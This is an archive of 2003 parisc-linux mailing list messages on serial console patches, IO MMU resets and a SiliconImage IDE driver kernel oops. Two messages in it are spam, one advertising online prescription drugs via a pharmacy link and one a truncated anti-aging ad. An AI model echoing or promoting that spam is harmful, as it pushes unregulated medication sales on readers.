Subject: Re: [parisc-linux] [patch] Get superio serial to work with 2.6
Date: Sun, 7 Dec 2003 00:44:31 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20031207084431.GP20133@tausq.org>
References: <20031207041018.GN20133@tausq.org>
	<20031207082006.GA8167@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623034 3122 80.91.229.3 (22 Nov 2014 02:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: randolph@tausq.org  Sun Dec  7 01:39:42 2003
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBBD2484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Dec 2003 01:39:42 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 63835CD294; Sun,  7 Dec 2003 00:44:31 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031207082006.GA8167@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Dec 2003 08:39:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20333

> My preference right now is to move those PDC calls into sba_cdio.c.

hmmm.. that looks like a hpux name ;-) sba_iommu.c? 

> Then add hueristics that call PDC_IO_RESET_AND_CLEAR if suckyio/USB
> is active or the LAN active. If suckyio serial console, then add code
> to save/restore suckyio config space around the reset.
> 
> So quite a bit of hackery that's really only needed when the
> IO MMU is actually used.

ok, so should i just keep this patch in my private tree for now? or
commit it and let you fix the rest of it? ;-)

> hrm...I don't have the serial console setup at the moment.
> I suggest plugging in a USB mouse and moving the mouse around
> during boot. Not sure that's sufficient but maybe.

i doubt that will make a difference. if the usb driver is not yet loaded
(i.e. during inventory) i don't thing any usb events will be happening,
right? anyway, i guess i can try this tomorrow.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Get superio serial to work with 2.6
Date: Sun, 7 Dec 2003 11:15:21 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20031207181521.GA14466@colo.lackof.org>
References: <20031207041018.GN20133@tausq.org>
	<20031207082006.GA8167@colo.lackof.org>
	<20031207084431.GP20133@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623035 3134 80.91.229.3 (22 Nov 2014 02:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: grundler@lackof.org  Sun Dec  7 11:15:23 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40278484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Dec 2003 11:15:23 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 79701298039; Sun,  7 Dec 2003 11:15:22 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14355-03; Sun, 7 Dec 2003 11:15:21 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 894F6298037; Sun,  7 Dec 2003 11:15:21 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031207084431.GP20133@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Dec 2003 18:15:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20334

On Sun, Dec 07, 2003 at 12:44:31AM -0800, Randolph Chung wrote:
> > My preference right now is to move those PDC calls into sba_cdio.c.
> 
> hmmm.. that looks like a hpux name ;-) sba_iommu.c? 

yeah...brainfart. I was up too late last night again...

> > Then add hueristics that call PDC_IO_RESET_AND_CLEAR if suckyio/USB
> > is active or the LAN active. If suckyio serial console, then add code
> > to save/restore suckyio config space around the reset.
> > 
> > So quite a bit of hackery that's really only needed when the
> > IO MMU is actually used.
> 
> ok, so should i just keep this patch in my private tree for now? or
> commit it and let you fix the rest of it? ;-)

commit and I'll fix the rest later.

> > hrm...I don't have the serial console setup at the moment.
> > I suggest plugging in a USB mouse and moving the mouse around
> > during boot. Not sure that's sufficient but maybe.
> 
> i doubt that will make a difference. if the usb driver is not yet loaded
> (i.e. during inventory) i don't thing any usb events will be happening,
> right? anyway, i guess i can try this tomorrow.

It does make a difference. The IODC left HW in an enabled and operational
state when it handed off to the OS. That's harmless for a serial console.
It's not harmless when the device can master DMA transactions and we
reprogram the IO MMU.

grant


From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Processes stuck in D state on 715/100XC with
	2.4.22-pa17
Date: Mon, 8 Dec 2003 09:29:06 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20031208072906.GA27759@marmite.its.uct.ac.za>
References: <3FB265EC00003DBD@ocpmta3.freegates.net>
	<Pine.LNX.4.58.0311190913310.1125@brain.fop.ns.ca>
	<3FBE7C6A.3010104@tiscali.be>
	<Pine.LNX.4.58.0311212145230.21213@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623035 3146 80.91.229.3 (22 Nov 2014 02:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Bromwich <lists@fop.ns.ca>
Original-X-From: mwood@its.uct.ac.za  Mon Dec  8 00:29:13 2003
Return-Path: <mwood@its.uct.ac.za>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDA2F484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Dec 2003 00:29:12 -0700 (MST)
Original-Received: from [137.158.26.155] (helo=marmite.its.uct.ac.za)
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 1ATFpK-000O7f-00; Mon, 08 Dec 2003 09:29:06 +0200
Original-Received: from michael by marmite.its.uct.ac.za with local (Exim 3.36 #1
	(Debian)) id 1ATFpK-0007F3-00; Mon, 08 Dec 2003 09:29:06 +0200
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Steve Bromwich <lists@fop.ns.ca>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311212145230.21213@brain.fop.ns.ca>
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Dec 2003 07:29:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20335

Hi

Been going through old mail and saw this thread.

One thing I noticed that the others did not seem to is that you seem to
be under the impression that the TOC and "ser pim" thing have to be done
while the machine is having the problem.  I have never used the TOC
button or "ser pim" before, but I believe how it works is that when the
machine is running (or when you press the TOC button or something) it
writes stuff to some sort of flash area.  The next time you boot, you
can interrupt the boot sequence and type "ser pim" and get the debugging
output.

I hope that helps.

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] test11-pa2 & serial console on C3k success,
	siimage problems
Date: Mon, 8 Dec 2003 08:20:38 +0000 (GMT)
Lines: 108
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0312080747340.7829@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623035 3156 80.91.229.3 (22 Nov 2014 02:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: xam@cs.ucc.ie  Mon Dec  8 01:20:41 2003
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88DA4484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Dec 2003 01:20:40 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hB88Kdkf018576
	for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Dec 2003 08:20:39 GMT
X-X-Sender: xam@sal.ucc.ie
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Dec 2003 08:20:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20336

Hi PA,

First of all thanks for all the people involved in getting
2.6 working on PA-RISC, especially those who fixed the
serial console issue!


It seems to work for me (after initial testing), however I ran into
some other problems, for which I would be very grateful if they
can be resolved aswell:

As I needed some additional hard disk space I bought a 120GB hard disk.
Since I'm not a particular rich person, I could only afford a IDE version,
not a SCSI hard drive.
As mentioned in previous posts I'm using the internal NS87415 IDE
controller of the C3000 to drive the Seagate IDE hard disk (ST3120022A).

It works, but is limited to non-dma transfers and therefore it is not
very performant (about 3.3MB/s reading, writing even slower).
I've been also told I'm quite brave for using the internal IDE controller,
since it was never been used/tested for this purpose before.

Therefore I did the most reasonable thing and got a IDE PCI controller.
Unfortunately the only (new) ones on the market you can get are based
on the Promise chipset or the SiliconImage chipset. I got one with the
SiliconImage chipset, since they also support ATAPI commands, whereas
the Promise doesn't.


It seems there is a bug in either the kernel or (more likely) in the
SiliconImage driver, both with the 2.4.23-pa3 and the 2.6.0-test11-pa2
kernels.

The 2.4.23-pa3 kernel allows me to boot with the siimage driver compiled
in (I disabled the support for the NS8741 in the kernel). However the kernel
complains about 'lost interrupts' on boot and won't allow me to use
the hard disk (read errors, see
http://www.cs.ucc.ie/~xam/siimage/readerrors-2.4.23-pa3.txt )
I the 2.4 kernel was compiled with DMA support, but I also tried to
boot with 'ide=nodma', with exactly the same results.

The 2.6.0-test11-pa2 kernel is configured similar, but generates a
'you system ate a SPARC' kernel ooops:

==== <snip> ====

Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
SiI680: IDE controller at PCI slot 0000:01:06.0
SiI680: chipset revision 2
SiI680: BASE CLOCK == 133
SiI680: 100% native mode on irq 128
    ide0: MMIO-DMA at 0xf4800000-0xf4800007 -- Error, MMIO ports already in use.
    ide1: MMIO-DMA at 0xf4800008-0xf480000f -- Error, MMIO ports already in use.
hda: TS130220A2, ATA DISK drive
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 1): Breakpoint (code 0)
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted

r00-03  00000000 1032f010 10208f34 103fc2e0
r04-07  103fc230 00000001 00000001 0000000f
r08-11  103454f8 000f41fa 372d3980 103ee404
r12-15  3ccbf700 10344810 103ee010 f0400004
r16-19  f00008c4 f000017c f0000174 00000000
r20-23  fed32840 fed32800 00000000 0000000a
r24-27  0000ffa0 000000ff 103fc2e0 10326010
r28-31  00000000 00061a80 4ff98340 10208f34
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 4ff98000 CR31: 1037c000
 ORIG_R28: 55555555
 IAOQ[0]: 0x0
 IAOQ[1]: 0x4
 RP(r2): probe_hwif+0x218/0x44c

Kernel panic: Attempted to kill init!

=== </snip> ===


The full bootlogs/config/System.map can be found here:
   http://www.cs.ucc.ie/~xam/siimage/

I also placed the bootlog/config/System.map for my current (working)
config - ie. using the internal NS87415 IDE controller - here:
   http://www.cs.ucc.ie/~xam/siimage/working-with-NS87415/


Any help would to make the SiliconImage card working would be appreciated!
I think many people also want to 'upgrade' their system by putting in
an additional hard disk at one stage in the future, and will hit the
similar problem that there is currently no working IDE PCI card for Linux/PA


Thanks alot in advance,
  Max


From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lee Molina" <roscoe@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LOOK Meds made easy for adults vvdn xaqd ondg o
Date: Mon, 08 Dec 03 14:37:00 GMT
Lines: 24
Approved: news@gmane.org
Message-ID: <3h9c-$15-a46s$u8b$w@4wk.w.o43.2sv7>
Reply-To: Lee Molina <roscoe@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_C.EDC64BE_93"
X-Trace: ger.gmane.org 1416623036 3166 80.91.229.3 (22 Nov 2014 02:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org
Original-X-From: roscoe@hotmail.com  Mon Dec  8 06:42:50 2003
Return-Path: <roscoe@hotmail.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A30EC484B; Mon,  8 Dec 2003 06:42:50 -0700 (MST)
Original-Received: from 69-144-25-199.client.bresnan.net
	(69-144-25-199.client.bresnan.net [69.144.25.199])
	by cuprel1.hp.com (Postfix) with SMTP
	id ADA96EC1; Mon,  8 Dec 2003 05:42:47 -0800 (PST)
Original-Received: from [236.137.135.50] by 69-144-25-199.client.bresnan.net id
	<5665225-26758>; Mon, 08 Dec 2003 14:37:00 +0100
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Dec 2003 13:42:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20337


--_C.EDC64BE_93
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>LOOK Meds made easy for adults vvdn xaqd ondg o<br>
<body>
<br>Quality purr^scriptions for adults
that require REAL medications for a variety 
of needs and ailments. We have hundreds of 
popular names to choose from. 
Whether you want to be th*in, quit smoking,
improve your s"e"x life, or are experiencing
any kind of pain and discomforts.
<a href=3D"http://www.verybestmeds.com">Visit Us Here</a><br><br>
w k obdpi z vv
awa

</body>
</html>jtyacbgafzuyssjh ydxam

--_C.EDC64BE_93--



From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test11-pa2 & serial console on C3k success,
	siimage problems
Date: Mon, 8 Dec 2003 11:35:22 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20031208183522.GA28925@colo.lackof.org>
References: <Pine.LNX.4.58.0312080747340.7829@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623036 3176 80.91.229.3 (22 Nov 2014 02:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: grundler@lackof.org  Mon Dec  8 11:35:24 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34291484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Dec 2003 11:35:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 68F06298046; Mon,  8 Dec 2003 11:35:23 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28807-07; Mon, 8 Dec 2003 11:35:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9B28C298037; Mon,  8 Dec 2003 11:35:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0312080747340.7829@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Dec 2003 18:35:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20338

On Mon, Dec 08, 2003 at 08:20:38AM +0000, M. Grabert wrote:
...
> SiI680: 100% native mode on irq 128
>     ide0: MMIO-DMA at 0xf4800000-0xf4800007 -- Error, MMIO ports already in use.
>     ide1: MMIO-DMA at 0xf4800008-0xf480000f -- Error, MMIO ports already in use.

Look at the code that prints this line and the error msg.
"already in use" suggests a resource conflict though I doubt that is the
problem. Sounds more like a problem of the resources not being registered
correctly. Welcome to the maze of twisty, little passages, all the same.

grant


From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test11-pa2 & serial console on C3k success,
	siimage problems
Date: Mon, 08 Dec 2003 20:11:09 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <1070914268.10399.16.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.LNX.4.58.0312080747340.7829@sal.ucc.ie>
	<20031208183522.GA28925@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623036 3179 80.91.229.3 (22 Nov 2014 02:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, "M. Grabert" <xam@cs.ucc.ie>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Dec  8 13:15:28 2003
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (unknown [81.2.110.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id F003A4890
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Dec 2003 13:15:27 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	hB8KBEPr010460; Mon, 8 Dec 2003 20:11:15 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	hB8KBDCi010458; Mon, 8 Dec 2003 20:11:13 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20031208183522.GA28925@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Dec 2003 20:15:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20339

On Llu, 2003-12-08 at 18:35, Grant Grundler wrote:
> On Mon, Dec 08, 2003 at 08:20:38AM +0000, M. Grabert wrote:
> ...
> > SiI680: 100% native mode on irq 128
> >     ide0: MMIO-DMA at 0xf4800000-0xf4800007 -- Error, MMIO ports already in use.
> >     ide1: MMIO-DMA at 0xf4800008-0xf480000f -- Error, MMIO ports already in use.
> 
> Look at the code that prints this line and the error msg.

This can only occur if critical 2.4 IDE fixes for mmio are missing from
2.6 or some kind of implementation error is being tripped. Ask
Bartlomiej why mmio==2 mode ("check by host driver only") isn't
implemented. Its requited for mmio PCI devices to work properly even on
x86. That or the SI680/3112 driver in 2.6 is not setting it and the
kernel code is there but not being used.

That message just can't occur on the proper code.

Background:
	Drivers use ioremap returns for mmio registers
	IDE core only knows ioremap data
	IDE core used to try and reserve the matching physical locations

On x86 it "happens" to work until you have more than about 2.5Gb of RAM

Alan



From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rogelio Joiner" <jehosophat@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ;Celebrity anti-aging secrets s
Date: Tue, 09 Dec 03 23:35:00 GMT
Lines: 44
Approved: news@gmane.org
Message-ID: <bidd-4th-$11o-33knkb3h735t@5xhn.2u7>
Reply-To: Rogelio Joiner <jehosophat@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_68.C9FDCACE"
X-Trace: ger.gmane.org 1416623036 3180 80.91.229.3 (22 Nov 2014 02:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jehosophat@msn.com  Tue Dec  9 00:44:42 2003
Return-Path: <jehosophat@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [61.53.176.21])
	by dsl2.external.hp.com (Postfix) with SMTP id 60F2F4840
	for <parisc-linux@parisc-linux.org>;
	Tue,  9 Dec 2003 00:44:20 -0700 (MST)
Original-Received: from [2.31.171.76] by 192.25.206.7 with ESMTP id 41091554;
	Tue, 09 Dec 2003 23:35:00 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Dec 2003 07:44:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20340


--_68.C9FDCACE
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>;Celebrity anti-aging secrets s
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

